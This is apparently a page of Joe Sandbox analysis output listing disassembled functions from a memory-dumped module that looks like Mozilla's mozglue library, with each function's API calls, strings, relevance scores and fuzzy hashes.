Part of subcall function 6C6014B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C601248,6C601248,?), ref: 6C6014C9
Part of subcall function 6C6014B0: memcpy.VCRUNTIME140(?,6C601248,00000000,?,6C601248,?), ref: 6C6014EF

Part of subcall function 6C5FEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5FEEE3

CreateFileW.KERNEL32 ref: 6C62F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C62F523

Strings

\oleacc.dll, xrefs: 6C62F4CB

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: f6e002535f6a3fc9afaccbd27af25949db023e64768495d46e4e84ccb4bbc8c6
Instruction ID: 3f671e3c15f852fe5c5e2ef2f790824d446f2410b0158fdd9b89219824928fac
Opcode Fuzzy Hash: f6e002535f6a3fc9afaccbd27af25949db023e64768495d46e4e84ccb4bbc8c6
Instruction Fuzzy Hash: A541EF706087209FE324CF29C884A9BB3F4AF94318F104A1CF59097650EB34D949CFAB

Function 6C63E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63E04F

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C63E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C63E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C63E057

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: eaf6e35506c2cf3bd23615f75a8abbd6360241059000d6fbb4d8c5912a77fca5
Instruction ID: 8f1f32cd4d137a62268e02552eae19d51e47ba2bc89f8cbbff507399b0a4fd1f
Opcode Fuzzy Hash: eaf6e35506c2cf3bd23615f75a8abbd6360241059000d6fbb4d8c5912a77fca5
Instruction Fuzzy Hash: AF21D074A001289FCF049F65C898AEEB7B5EF86308F142424E80A97741DB35AD19CBF9

Function 6C6574A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C657526
__Init_thread_footer.LIBCMT ref: 6C657566
__Init_thread_footer.LIBCMT ref: 6C657597

Strings

kernel32.dll, xrefs: 6C657557
UnmapViewOfFile2, xrefs: 6C657552

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 5b827b15924873701e9da7131207c9b8bdb0add795873dad8a58528fe10f558f
Instruction ID: 4d1b680db17091b48783b11310dddb568bcafda0bd801f1052edc5e5307b3062
Opcode Fuzzy Hash: 5b827b15924873701e9da7131207c9b8bdb0add795873dad8a58528fe10f558f
Instruction Fuzzy Hash: EC214831701011ABCB19CFAA9C84E993375EF47325F608D29D80587B80CB39A8118A7F

Function 6C65A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67F770,-00000001,?,6C66E330,?,6C61BDF7), ref: 6C65A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C61BDF7), ref: 6C65A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C61BDF7), ref: 6C65A7E4
LeaveCriticalSection.KERNEL32(6C67F770), ref: 6C65A80A

Strings

accelerator.dll, xrefs: 6C65A7BF

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 99f66c7bf80d8e248bfbda11898a899c6c6d855a20489bb40cf9574de472316e
Instruction ID: 4e62920956795faef333ad87721eb7e733e1ccf3fd4a31f5a927f9c95abcf4cb
Opcode Fuzzy Hash: 99f66c7bf80d8e248bfbda11898a899c6c6d855a20489bb40cf9574de472316e
Instruction Fuzzy Hash: 5E018FB06003149F9B08CF5AE8C4C6177B8FB8A355B14846AE9098B712EB709800CBBA

Function 6C6575B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C65748B,?), ref: 6C6575B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6575D7
FreeLibrary.KERNEL32(?,6C65748B,?), ref: 6C6575EC

Strings

ntdll.dll, xrefs: 6C6575B3
RtlNtStatusToDosError, xrefs: 6C6575D1

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: afb49935a152ce0b91e1b342dc98fb048b1c550c8c27ba125e8c30752df26bb7
Instruction ID: 52a4cf0a61a8862f87d1e4bfd297eb2fbdc79fdcd0ac2c035db048cb1bd1ef1e
Opcode Fuzzy Hash: afb49935a152ce0b91e1b342dc98fb048b1c550c8c27ba125e8c30752df26bb7
Instruction Fuzzy Hash: 0EE09AB1610361ABDB0A5BB3D8C8B017AF8EB46358F104C25EA05D1710EBB980528F3E

Function 6C657600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C657592), ref: 6C657608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C657627
FreeLibrary.KERNEL32(?,6C657592), ref: 6C65763C

Strings

ntdll.dll, xrefs: 6C657603
NtUnmapViewOfSection, xrefs: 6C657621

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 19e4af2d281eb03318206f03a2d3d58c7a5f85f84dc006ba5d586cbebf87d54d
Instruction ID: 54994f6219f3f109e2804b62af654253ba37c0bea33dbf9c473f645e868f804d
Opcode Fuzzy Hash: 19e4af2d281eb03318206f03a2d3d58c7a5f85f84dc006ba5d586cbebf87d54d
Instruction Fuzzy Hash: A7E0BF706103619BDF0A9FB7E8D8B017AB8E756399F108D15EA05D1750E7B980118F3E

Function 6C65BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C65BE49), ref: 6C65BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C65BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C65BE49), ref: 6C65BF38
RtlReAllocateHeap.NTDLL ref: 6C65BF83
RtlFreeHeap.NTDLL ref: 6C65BFA6

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 7f51a79f046bc67c1f35c4d61926fdb76ef1c5d08172d2638e0f524cf45c5371
Instruction ID: 864fd658def06bfa48683294c01246ce35775ca62cd9e4de29ba940766e869d6
Opcode Fuzzy Hash: 7f51a79f046bc67c1f35c4d61926fdb76ef1c5d08172d2638e0f524cf45c5371
Instruction Fuzzy Hash: D451AF71A002058FE710CF69CD80BAAB3A2FFC9314F794639D556A7B54D731F9168B84

Function 6C648E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?,6C66D734), ref: 6C648E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?,6C66D734), ref: 6C648EBF
free.MOZGLUE(?,?,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?), ref: 6C648F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?,6C66D734), ref: 6C648F46
free.MOZGLUE(?,?,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?), ref: 6C648F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?), ref: 6C648F8F

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cd2a7c9195d60e8454abd9284dc6243d04b3d05d28a553c3c4327df69d0227ce
Instruction ID: 8398c7d5aad043379e768f971baa558f27931b703da72f139c27faace5d624aa
Opcode Fuzzy Hash: cd2a7c9195d60e8454abd9284dc6243d04b3d05d28a553c3c4327df69d0227ce
Instruction Fuzzy Hash: 4A51C2B1A012168FEB14CF58D8807AEB7B2BF49348F15842AD916EB750E731F905CBD9

Function 6C6427E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C642620,?,?,?,6C6360AA), ref: 6C64284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C642620,?,?,?,6C6360AA), ref: 6C64289A
free.MOZGLUE(?,?,?,6C642620,?,?,?,6C6360AA), ref: 6C6428F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C642620,?,?,?,6C6360AA), ref: 6C642910
free.MOZGLUE(00000001,?,?,6C642620,?,?,?,6C6360AA), ref: 6C64293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C642620,?,?,?,6C6360AA), ref: 6C64294E

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 48571db221d4d2966e3a5b5f1a5fcdc90fea2fa373d80052755d21dbd37bcf38
Instruction ID: 65d517fcb88b2b3994f994d32a94feb82ec5be8a557cef981796d215107d6a9b
Opcode Fuzzy Hash: 48571db221d4d2966e3a5b5f1a5fcdc90fea2fa373d80052755d21dbd37bcf38
Instruction Fuzzy Hash: B341E0B1A002068FEB14CF69D88876E77F6EF45308F248939D556EB740E731E904CBA9

Function 6C5FCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E784), ref: 6C5FCFF6
LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5FD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C5FD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C5FD139

Strings

MOZ_CRASH(), xrefs: 6C5FD187

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 96f7b679b3f4274684a668253d7f5f9a056da420a2e17bd75f6d3a95bac9469b
Instruction ID: 674dbd5756f90c8b7ebd00cb7bc3c2f510b89eef4adb7bb024d92df786ab39bb
Opcode Fuzzy Hash: 96f7b679b3f4274684a668253d7f5f9a056da420a2e17bd75f6d3a95bac9469b
Instruction Fuzzy Hash: 9F41D232B402264FDB0DCE7D8CD17AA36B4EB49714F140939E928E7784E7A59C058FE9

Function 6C5F4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5F4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5F4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5F4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5F4F1E

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: a3e70df1d0fa093091c099c5e06d6108fc11f96cfd842de2afce6ec7f9a8a219
Instruction ID: d53239b49feea3940187118ef2f733c897e63e2b4454cf857c192e3a1fa0ca58
Opcode Fuzzy Hash: a3e70df1d0fa093091c099c5e06d6108fc11f96cfd842de2afce6ec7f9a8a219
Instruction Fuzzy Hash: 7D41CF716087019FD709CF29C88095BB7E5BF89344F108A2DF56A97B41DB30E95ACF92

Function 6C65A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67F770), ref: 6C65A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65A87B

Part of subcall function 6C65A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C65A88F,00000000), ref: 6C65A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C65A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65A90C
LeaveCriticalSection.KERNEL32(6C67F770), ref: 6C65A97E

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: e7906ead1db8f65b91c781a85af4e9cee27592f0529f6d53cb85ca9db86233b4
Instruction ID: 504a2319bf629cecb4799c34edcd914dc174864e8c34c285b087bfe5ad49ea22
Opcode Fuzzy Hash: e7906ead1db8f65b91c781a85af4e9cee27592f0529f6d53cb85ca9db86233b4
Instruction Fuzzy Hash: 1D41B3F0D002449FDB00DFA4D885BEEB770FF05324F148A19E81AAB791D7319955CBA9

Function 6C601530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C60152B,?,?,?,?,6C601248,?), ref: 6C60159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C60152B,?,?,?,?,6C601248,?), ref: 6C6015BC
moz_xmalloc.MOZGLUE(-00000001,?,6C60152B,?,?,?,?,6C601248,?), ref: 6C6015E7
free.MOZGLUE(?,?,?,?,?,?,6C60152B,?,?,?,?,6C601248,?), ref: 6C601606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C60152B,?,?,?,?,6C601248,?), ref: 6C601637

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: b1928ed530e0ec461e5d56e1d2a12959dcfeb3bfa2ef3c2f5425bd1476174b14
Instruction ID: e41c98989579266f839aaf51f0925141ade9a8a741389991f67c89f089744089
Opcode Fuzzy Hash: b1928ed530e0ec461e5d56e1d2a12959dcfeb3bfa2ef3c2f5425bd1476174b14
Instruction Fuzzy Hash: 3D31EAB1B001149BC71D8E7CDD504AF77A5BB823687280B2DE823EBBD4EB30D9058799

Function 6C65AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C66E330,?,6C61C059), ref: 6C65AD9D

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C66E330,?,6C61C059), ref: 6C65ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C66E330,?,6C61C059), ref: 6C65AE01
GetLastError.KERNEL32(?,00000000,?,?,6C66E330,?,6C61C059), ref: 6C65AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C66E330,?,6C61C059), ref: 6C65AE3D

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: b3ec6ad51531d2bd9b6096f0079500c08d3c74abb1d676b3b253a86d5df59c1d
Instruction ID: 88f27191fa96e4c0be3baa1440c729f154c77c3a385149080194aea3b723f517
Opcode Fuzzy Hash: b3ec6ad51531d2bd9b6096f0079500c08d3c74abb1d676b3b253a86d5df59c1d
Instruction Fuzzy Hash: 0D3141B1A002159FDB14DF7A8C44ABBB7F8EF49614F554829E84AD7700E734A805CBB9

Function 6C655EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C66DCA0,?,?,?,6C62E8B5,00000000), ref: 6C655F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C62E8B5,00000000), ref: 6C655F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C62E8B5,00000000), ref: 6C655F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C62E8B5,00000000), ref: 6C655F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C62E8B5,00000000), ref: 6C655FD6

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: e49e406c138811bc81d2d15a308007c89f5dbac2cd3ff2797dd588242b3c0de9
Instruction ID: 8f08228cd8296dfc0b0507a522ed99bdf003d17c61ddb6bc7aa9258af534964e
Opcode Fuzzy Hash: e49e406c138811bc81d2d15a308007c89f5dbac2cd3ff2797dd588242b3c0de9
Instruction Fuzzy Hash: B03118343006008FD715CF29C898A2AB7F5BF89318FA48958F5568BB95C732EC51CF94

Function 6C5FB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5FB532
moz_xmalloc.MOZGLUE(?), ref: 6C5FB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5FB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5FB57E
free.MOZGLUE(00000000), ref: 6C5FB58F

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
